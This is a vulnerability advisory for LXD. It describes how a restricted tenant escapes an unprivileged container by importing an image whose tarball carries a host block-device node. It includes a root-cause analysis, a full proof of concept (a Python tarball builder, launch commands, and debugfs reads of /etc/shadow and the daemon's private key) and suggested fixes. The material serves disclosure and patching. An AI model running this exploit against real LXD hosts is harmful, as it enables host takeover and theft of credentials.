Archive-supplied device node gives an unprivileged container raw access to host block devices
Description
A tenant allowed to create images and instances in a single restricted project uploads a container image whose rootfs tarball carries a block-device special file. On launch the root daemon writes that node into the container's rootfs unchanged, and because LXD installs its devices-cgroup deny policy only for privileged containers, the root user of an ordinary unprivileged container can open the host's block devices through it. Pointed at the host's root partition the tenant reads any file on the host, and can write the raw device. Demonstrated reads, byte-for-byte: /etc/shadow, the LXD daemon private key server.key, and the LXD trust database local.db. Reading server.key plus local.db is equivalent to taking over the LXD daemon. No host account and no privileged container are required; the tenant acts only over the HTTPS API.
Details
Line references are to the lxd_5.21.8 source tree (LXD 5.21.8 LTS), the release this advisory targets. The same code and gating are present through 6.0-6.9, where the exploit is also confirmed.
Two guards should stop this, and both are conditioned on states that do not hold for the attack (a root host daemon plus an unprivileged container):
- Device nodes are extracted verbatim. A container image's rootfs is unpacked by
ImageUnpack(lxd/storage/utils.go:687), which callsarchive.UnpackImagefor the metadata tarball and again for the separate.rootfstarball intorootfs/(:713).UnpackImage(lxd/archive/archive.go:293) callsdoUnpack(..., protected=true, ...). The function comment (:130) promises that "When protected is set to true, devices will be excluded", but the exclusion is gated a second time on the daemon's own namespace:if protected && s.OS.RunningInUserNS(lxd/archive/archive.go:143) adds the--exclude=dev/*/rootfs/dev/*tar arguments. A normal root host daemon hasRunningInUserNS == false, so the excludes are never added and the block node in the tar is extracted as a real device node. The onlyprotectedcheck that does run,CheckMetadataFilesAreRegular(:304),Lstats nothing butmetadata.yamlandbackup.yaml(:314); it never looks at device nodes anywhere in the rootfs. (CVE-2026-87799, "Check instance metadata files after unpack", added exactly this metadata-only check; device nodes fall straight through it.) - No devices cgroup for an unprivileged container. At container start the daemon programs the devices-cgroup deny-all policy only under
if d.IsPrivileged() && !d.state.OS.RunningInUserNS && d.state.OS.CGInfo.Supports(cgroup.Devices, cg)(lxd/instance/drivers/driver_lxc.go:798). An unprivileged container fails the first clause, so no device program is attached at all (confirmed:bpftool cgroup treeon the container cgroup lists none). The kernel therefore does not blockopen()of a device node that already exists in the rootfs. Ironically the skipped block would have allowedb *:* m(mknod of block devices) anyway; the deny-allathat precedes it is what is lost. - The rootfs is not mounted
nodev.nodevexists only in the mount-option table (lxd/storage/filesystem/fs.go:190) and is not applied to instance volumes by any storage driver, so nothing at mount time neutralises the node.
The in-container mknod path is correctly denied (the container lacks CAP_MKNOD over the host device range), and the API route to attach a device (lxc config device add ... unix-block) is correctly refused in a restricted project. The archive is the one path that bypasses both: the node is created by the root daemon, not by the container, so no capability check applies, and it arrives as data, not as an API device request, so no project restriction applies.
Proof of concept
Validated on snap LXD 5.21.8-3a06799 (channel 5.21/stable) and 6.9-bf243da, host Ubuntu with an ext4 root partition. The container image used is any image that ships debugfs (Ubuntu images do); debugfs reads the raw partition read-only in userspace, so no mount and no extra capability is needed to pull an exact file out of the host filesystem.
Environment setup
Operator (admin, once):
# storage + HTTPS API
lxc storage create p1 dir
lxc config set core.https_address 127.0.0.1:8443
# a restricted project the tenant is confined to
lxc project create t1 -c restricted=true
lxc profile device add default root disk path=/ pool=p1 --project t1
lxc profile device add default eth0 nic network=lxdbr0 --project t1
# a group with only image + instance rights in that project.
# can_view MUST be added first, or the later grants fail with
# "project cannot be viewed by the group".
lxc auth group create tenants
lxc auth group permission add tenants project t1 can_view
for e in can_create_images can_view_images can_create_instances \
can_view_instances can_operate_instances; do
lxc auth group permission add tenants project t1 "$e"
done
# mint an enrolment token for the tenant (prints a base64 token on the last line)
lxc auth identity create tls/tenant1 --group tenants
# the major:minor the attacker must bake into the image is this host's root
# partition; note it down for the build step below
findmnt -no SOURCE,MAJ:MIN / # e.g. /dev/sda1 8:1Attacker (a separate lxc client, once). The token's own addresses are redeemed through any proxy the client has configured and may fail on a lab box; redeem against the loopback listener, which Go never proxies:
lxc remote add lxd https://<LXD-HOST>:8443 --token <TOKEN>Build the malicious image (entirely unprivileged, on any machine)
# a stock image as a split image: ./base (metadata tarball) + ./base.root (squashfs rootfs)
lxc image export ubuntu:24.04 ./base
# unpack the rootfs, then build a tarball that also carries a block-device node for
# the host root partition. No root and no mknod: tarfile writes the device entry as
# pure metadata. Walk with os.walk (not tf.add(recursive=True)) so an unreadable
# directory such as var/lib/snapd/void is tolerated: its entry is kept, descent into
# it is skipped.
rm -rf rootfs && unsquashfs -n -f -d rootfs ./base.root
python3 - <<'PY'
import os, tarfile
MAJOR, MINOR = 8, 1 # <-- host root partition from `findmnt -no MAJ:MIN /`
root = "rootfs"
def norm(ti):
ti.uid = ti.gid = 0; ti.uname = ti.gname = "" # force root ownership
return ti
with tarfile.open("rootfs.tar.gz", "w:gz") as tf:
tf.add(root, arcname=".", recursive=False, filter=norm)
for dp, dns, fns in os.walk(root):
for x in dns + fns:
full = os.path.join(dp, x)
try:
tf.add(full, arcname="." + full[len(root):], recursive=False, filter=norm)
except OSError:
pass
ti = tarfile.TarInfo("pwn_sda1") # appears as /pwn_sda1 in the container
ti.type = tarfile.BLKTYPE; ti.mode = 0o666; ti.uid = ti.gid = 0
ti.devmajor, ti.devminor = MAJOR, MINOR
tf.addfile(ti)
PY
cp ./base meta.tar.xzExploit (as the confined tenant)
# import the split image and launch an UNPRIVILEGED container from it.
# alias creation needs a separate entitlement, so launch by fingerprint.
lxc image import meta.tar.xz rootfs.tar.gz lxd: --project t1
FP=$(lxc image list lxd: --project t1 -c f -f csv | head -1)
# NB: the instance name MUST carry the lxd: remote prefix. An unqualified name
# ("c1") is created on the default remote -- the local admin unix socket -- which
# a non-root tenant cannot reach ("unix socket ... permission denied"). With
# "lxd:c1" the create request goes over HTTPS as the confined identity, which is
# the whole point: image source and instance both on the tenant remote.
lxc launch lxd:"$FP" lxd:c1 --project t1 -s p1
# security.privileged is unset: this is an ordinary unprivileged container
lxc config get lxd:c1 security.privileged --project t1 # (empty)
# inside the container, as the container's root, read host files off the raw
# host root partition with debugfs -- no host account, no sudo, no mount.
lxc exec lxd:c1 --project t1 -- sh -lc '
echo "== host /etc/shadow =="
debugfs -R "cat /etc/shadow" /pwn_sda1 2>/dev/null | grep -E "^(root|ubuntu):"
echo "== host LXD daemon private key =="
debugfs -R "cat /var/snap/lxd/common/lxd/server.key" /pwn_sda1 2>/dev/null | tee /tmp/k | head -1
echo -n "server.key sha256: "; sha256sum /tmp/k
echo -n "local.db sha256: "
debugfs -R "cat /var/snap/lxd/common/lxd/database/local.db" /pwn_sda1 2>/dev/null | sha256sum
'Observed from inside the unprivileged container (5.21.8), with the host oracle beside it:
== host /etc/shadow ==
root:*:20723:0:99999:7:::
ubuntu:!:20745:0:99999:7:::
== host LXD daemon private key ==
-----BEGIN EC PRIVATE KEY-----
server.key sha256: 64fe870ba8c272fa363397147512c5269f77ce1d22873ead321b976eb98c378f
local.db sha256: 0a0f56592d5188811f25a00d6541e9d1090e60424db05350551a64d66c88eaf4
# host oracle (root, comparison only):
# sha256sum /var/snap/lxd/common/lxd/server.key -> 64fe870b...98c378f (match)
# sha256sum .../database/local.db -> 0a0f5659...88eaf4 (match)
# openssl ec -in <extracted> -text -noout -> read EC key, Private-Key: (384 bit)Controls (prove the archive is the only vector)
# the node cannot be created from inside the container:
lxc exec lxd:c1 --project t1 -- mknod /x b 8 1 # -> Operation not permitted
# the device cannot be attached through the API in a restricted project:
lxc config device add lxd:c1 sda unix-block path=/dev/sda1 --project t1 # -> ForbiddenImpact
A non-admin, project-scoped tenant obtains a raw read/write channel to the host's block devices from inside an ordinary unprivileged container, with only image and instance entitlements on one restricted project.
- Confidentiality (host): read any file on any host filesystem the tenant can name a block device for. Demonstrated:
/etc/shadow; the LXD daemon private keyserver.key; the LXD trust databaselocal.db. The last two together are the daemon's identity and its full trust store, i.e. control of LXD and of every instance and tenant it manages. - Integrity / availability (host): the same node is writable (
brw-rw-rw-). Writing a mounted host block device corrupts the host filesystem and is a path to host code execution and to denial of service.
Baking a small spread of common root-partition (major, minor) pairs into one image (8:1 SATA/SCSI, 259:x NVMe, 254:1 virtio) makes the image host-generic; nodes for absent devices are inert.
Fix direction: exclude device nodes on protected unpack unconditionally (drop the && s.OS.RunningInUserNS clause at archive.go:143, or reject non-regular, non-symlink members in the rootfs the way CheckMetadataFilesAreRegular rejects metadata symlinks), and/or install the devices-cgroup deny-all for unprivileged containers as well, and/or mount instance volumes nodev.